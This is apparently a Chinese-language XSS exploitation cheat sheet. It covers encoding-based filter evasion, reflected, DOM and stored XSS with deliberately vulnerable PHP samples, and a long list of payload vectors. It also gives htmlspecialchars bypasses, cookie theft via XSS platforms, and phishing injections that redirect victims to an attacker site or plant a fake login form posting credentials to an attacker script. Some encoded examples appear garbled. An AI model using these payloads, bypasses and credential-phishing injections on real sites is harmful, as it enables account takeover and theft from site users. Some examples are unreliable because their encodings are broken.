XSS的利用方式
浏览器的工作原理
访问一个链接(或者刷新一个页面),首先url解码,然后是html解码,
然后是JS解码,然后是DOM渲染。

<input type="text" autofocus>
利用h5的autofocus自动获取焦点
然后用onfocus来执行获取焦点的事件
<input type=”image”src=1 onerror=alert(1)>
<input type=”image”onload=alert(1) src=./a.png?>
这里可以用?截断后面的引号,把引号当作参数。
上面这些可以自动弹窗。
<a href="javascript:alert(1) ">click me</a>                                          正常成功
<a href="javascript:alert(1)">click me</a>     HTML10进制成功
<a href="javascript:alert(1)">click me</a> HTML 16进制成功
<a href="javascript:\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029">click me</a> JS unicode失败
<a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">click me</a>                JS unicode成功
<a href="javascript:\x61\x6c\x65\x72\x74(1)">click me</a>                          JS 16进制失败
<a href="javascript: \141\154\145\162\164(1)">click me</a>                          JS 8 进制失败






浏览器中使用
1.xss中最经常用到的编码
html实体编码(10进制与16进制):
如把尖括号编码[ < ]  -----> html十进制: <  html十六进制:<
javascript的八进制跟十六进制:
如把尖括号编码[ < ]  -----> js八进制:\74  js十六进制:\x3c
jsunicode编码:
如把尖括号编码[ < ]  ----->jsunicode:\u003c
url编码 :
如把尖括号编码[ < ]  -----> url: %3C
base64编码:
base64: PA==

2 各个编码的具体利用场景
(1)base64编码
Data协议使用方法   data:资源类型;编码,内容
到目前为止 我遇到使用base64编码的情况 大多数是这样
<a href="可控点">
<iframe src="可控点">
在这种情况下 如果过滤了<> ' " javascript 的话 那么要xss可以这样写 然后利用base64编码!
<img src=x onerror=alert(1)>整条base64编码为PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==

下面三组都可行
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">111</a>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
a的利用方式
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
这样当test A链接点击时 就会以data协议 页面以html/text的方式解析 编码为base64 然后单点击a链接时 base64的编码就被还原成我们原本的
<img src=x onerror=alert(1)>  然后成功弹窗!

(2)html实体编码(10进制(ASCII编码)与16进制)
浏览器是不会在html标签里解析js中的那些编码的!onerror较特殊,onerror里的内容是当js解析的,因此可以用JSunicode编码,但是不能全部编码只能编码函数名。如果全部编码是会出错的,<img src=1>这种可以弹窗。
十进制和十六进制编码的分号是可以去掉的。实体编码的数字前可以加上很多的0进行绕过WAF,如
如以下代码可成功执行  <img src=1
onerror="alert('xss')">
    =>[空格]    :  : =>[冒号]      =>[换行
HTML5 新增的实体命名编码,如
: => [冒号]     => [换行

<a href="javascript:alert(1)">click</a>

解析器一般将工作分配给两个组件——词法分析器(有时也叫分词器)负责将输入分解为合法的符号,解析器则根据语言的语法规则分析文档结构,从而构建解析树,词法分析器知道怎么跳过空白和换行之类的无关字符。
<a href="javascript:alert(1)">click</a>
首先html编码被还原出来 然后就成了换行 跟冒号
<a href="javasc
ript:alert(1)">click</a>  
为什么换行后还能够执行 是因为浏览器中的解析器中词法分析器 起的作用会跳过空白跟换行之类的无效字符。换行时必须用单双号围住,否则不会跳过。跳过回车和换行,不支持on事件.
然后就构造成了一个完整的语句
<a href="javascript:alert(1)">click</a> 代码成功执行
(3)Javascript编码
Javascript伪协议在属性值中都可以使用, <a href="javascript:alert('xss')">111</a>点击111后触发弹窗。
javascript中只识别几种编码:Jsunicode js8进制 js10进制
第一种情况 你输入的值存入某个变量 然后最后出现在某个能把字符串当做js代码来执行的函数里!如:
eval()  setTimeout()   setInterval()
以上都是会将字符串当做js代码执行的函数!
第二种情况
var search = "可控点";
document.getElementById().innerHTML=search;
以上情况很多都是出现在你搜索后 然后显示的 你所查询的关键字
如果过滤了 <> ' " & % 等等这些!然后再输出到页面上!
按理说这样是安全了!但是我们把输入的值改成 js编码,
 我们改成 <img src=x onerror=alert(1)> 然后进行js八进制编码 ==>
\74\151\155\147\40\163\162\143\75\170\40\157\156\145\162\162\157\162\75\141\154\145\162\164\50\61\51\76
然后服务器端接受后 经过过滤器 没有发现该过滤的就进入到了innerHTML
经过js的解码 我们的代码又还原回来了 并且注入到了网页中!这时候代码执行!成功弹窗!

(4)URL编码
Javascript:伪协议后面可以使用URL编码。
:<a href="javascript:%61lert(1)">click me</a>可成功执行弹窗
可用img就不行:<img src=1 onerror=”javascript:%61lert(1)”>
因为href属性会跳转到其中的URL,而会进行URL解码.onerror属性则只会执行JS,不跳转
同时后面的url编码可以再做一次entity(HTML实体)编码:
<a href="javascript:%61lert(1)">click me</a>
由于entity编码允许&#之后插入任意多个0,再利用上javascript的注释混淆后:
<a href="javascript: //%0a %61lert(1)">click me</a>

3 三种XSS区别:在易用上,存储型XSS > DOM - XSS > 反射型 XSS。
反射型XSS
一般出现在搜索页面
<?php
$name = $_GET["name"];
?>
<input type="text" value="<?php echo $name?>">
当我们插入”><img src=1 onerror=alert(1)>时成功触发xss
DOM型XSS
简单理解就是它输出点在DOM
新版Chrome针对script context类型的domxss做了检测拦截
<div id="a">xxx</div><script>
document.getElementById("a").innerHTML="\u003cimg src=1 onerror=alert(1)\u003e"; </script>

<?php
error_reporting(0);
$name = $_GET["name"]; ?>
<input id="text" type="text" value="<?php echo $name;?>" />
<div id="print"></div>
<script type="text/javascript">
var text = document.getElementById("text");
var print = document.getElementById("print");
print.innerHTML = text.value;
// 获取 text的值,并且输出在print内。这里是导致xss的主要原因。 </script>
存储型xss
就是存入了数据库,再取出来,导致的xss

<?php
error_reporting(0);
$name = $_GET["name"];
//连接服务器
$conn = mysql_connect("127.0.0.1","root","");
//打开数据库
mysql_select_db("test",$conn);
//执行SQL
mysql_query("set names 'utf8'");
$sql_insert = "insert into liuyan(id,content) values('$id','$name')"; $result = mysql_query($sql_insert,$conn);
$sql_select = "select * from liuyan";
$results = mysql_fetch_array(mysql_query($sql_select));
echo $results[content];
?>
上面这段代码写的比较简洁,可以看到用户可控的$_GET name直接被带入到数据库中,随后被查询并且输出出来了,直接导致了xss。可以做下测试,先通过
http://localhost/2.php?name=%3Cscript%3Ealert(1)%3C/script%3E
然后再访问http://localhost/2.php。即可触发存储型xss
步骤一,是为了让xss代码写入数据库,步骤二是为了把恶意代码从数据库取出来并且输出在页面上。
4 各种姿势
<script>alert(1)</script>
<iframe src="javascript:alert(1)">
<iframe onload=alert(1)>
<img src=1 onerror=alert(1)>
<a href="javascript:alert(1)">111</a>
<marquee onscroll=alert(1)>
<object data="javascript:alert(1)">
<svg onload=alert(1)>
<body onload=alert(1)>
<select name="" onmouseover=alert(1)>
<script>window.setAttribute('onload',alert('xss')</script>
Javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))
<img src=1 onerror=with(body)createElement('script').src="外部JS地址">
5 入侵方法
攻击者发现xss漏洞->构造代码->发送给受害人->受害人打开->窃取受害人ccookie->完成攻击.
盗取cookie:可以使用现成的xss平台.
如果cookie中的某些关键值加了HttpOnly,那么就可以避免该网页的cookie被客户端的JS存取,也就保护了用户的cookie不被盗取.
当前可见的绕过Httponly的方法大致可以分为两类:一类是服务器配置或功能实现上存在可能被利用的弱点,可归结为服务端的信息泄露。如利用404 页、PHPINFO页,Trace方法等绕过HTTPonly;另一类是客户端漏洞或功能上存在可以被利用的弱点,可归结为客户端的信息泄露。如 MS08-069、利用ajaxflash读取set-cookie等。

绕过防御
过滤了alert(1)的括号,可以用alert`1`  //反引号
利用js字符串模块  eval.call`${'\141\154\145\162\164\50\61\51'}`
转换大小写<scRiPt>alert(1)<ScRipt>
绕过Phphtmlspecialchars()
Phphtmlspecialchars()默认能将< > & 转成< > & "
如果用了htmlspecialchars($name, ENT_QUOTES);   则 ’ 也会被转成 '
如果用了 htmlspecialchars ($name, ENT_NOQUOTES);则单双引号都不会被转换。
Js中可用以下代码绕过
Javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))
Html中可用以下代码绕过:
‘ onmouseover=’alert(1)
源代码是<input type=”text” value=””>
变成了<input type=”text” value=” ‘ onmouseover=’alert(1)”>
2.php源代码
<?php
$name = $_GET["name"];
$name = htmlspecialchars($name);
?>
<input type='text' value='<?php echo $name?>'>
地址栏输入http://127.0.0.1/2.php?name=’ onmouseover=’alert(1)后回车
然后将鼠标移到那个框框后, 弹出弹窗.

Xss钓鱼(挂马):
(1)xss重定向钓鱼
如自己建一个钓鱼网站www.xiumu.com, 然后受害者访问如下地址http://www.test.com/a.php?id=””><script>document.location.href=”http://www.xiumu.com”</script>
或者http://www.test.com/a.php?id=””><iframe src=”http://www.xiumu.com” height=0 width=0 ></iframe>
(2)HTML注入式钓鱼
直接利用XSS漏洞注射HTML/js 代码到页面中.可写一个正常的HTML表单来窃取账号密码.:http://www.test.com/a.php?id=””<html><head><title>login</title></head><body><div style=”text-align:center;”><form method=”POST” action=”xiumu.php” name=”form”><br/><p>username</p><input type=”text” value=”” name=”a”><p>password</p><input type=”password” name=”b” value=””><br/><input type=”submit” value=”login”></form></body></html>
这样当用户直接填入账号密码提交后,你就可以在xiumu.php接收到受害者的账号密码了.
Xiumu.php代码:<?php echo $_POST[‘a’]?><?php echo $_POST[‘b’]?>
(3)Xss跨框架钓鱼
这种方式是通过<iframe>嵌入远程域的一个页面实施钓鱼,http://www.test.com/a.php?id=””><iframe src=”http://www.xiumu.com” height=”100%” width=”100%”></iframe>通过将www.xiumu.com的页面做的和test的页面相同(可利用iframe实现),但受害者看到的不是真正的test页面,而是xiumu页面.
(4)Flash钓鱼
甚至不要求网站存在XSS,攻击者将构造的Flash文件(如假冒的登录框)上传到远程服务器,然后在目标网站中使用<object><embed>标签去引用FLASH即可.
6 参考资料
以上内容总结来自于
http://drops.wooyun.org/tips/147  //HTMLXSS精华
http://drops.wooyun.org/tips/689  //xss与字符编码
http://drops.wooyun.org/tips/845 //bypass xss过滤
http://drops.wooyun.org/tools/738 //chrome xss插件介绍
http://drops.wooyun.org/papers/948 //一些flash xss技巧
http://drops.wooyun.org/papers/5797 //xssi(跨站脚本包含)
http://drops.wooyun.org/tips/956  //mxss(突变xss)